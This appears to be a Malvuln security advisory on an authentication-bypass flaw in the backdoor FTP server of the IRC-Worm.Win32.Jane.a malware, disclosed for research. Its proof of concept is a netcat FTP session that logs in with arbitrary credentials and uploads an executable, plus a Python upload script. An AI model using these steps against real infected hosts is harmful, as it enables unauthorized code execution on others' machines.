IRC-Worm.Win32.Jane.a Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: IRC-Worm.Win32.Jane.a  
Vulnerability: Authentication Bypass RCE  
Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily identifiable. Adversaries, who can reach the infected host can logon using any arbitrary username password combination. Attackers may then upload executables using PASV, STOR commands which can result in remote code execution.  
Type: PE32  
MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f  
Vuln ID: MVID-2021-0151  
Disclosure: 03/29/2021  
  
  
Exploit/PoC:  
nc64.exe 192.168.88.128 21  
220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
CDUP  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,88,128,194,82).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
from socket import *  
  
MALWARE_HOST="192.168.88.128"  
#Calculate Server Port 194*256+82 = 49746  
PORT=49746  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("IRC-Worm.Win32.Jane.a / Auth Bypass RCE")  
print("MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
  
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`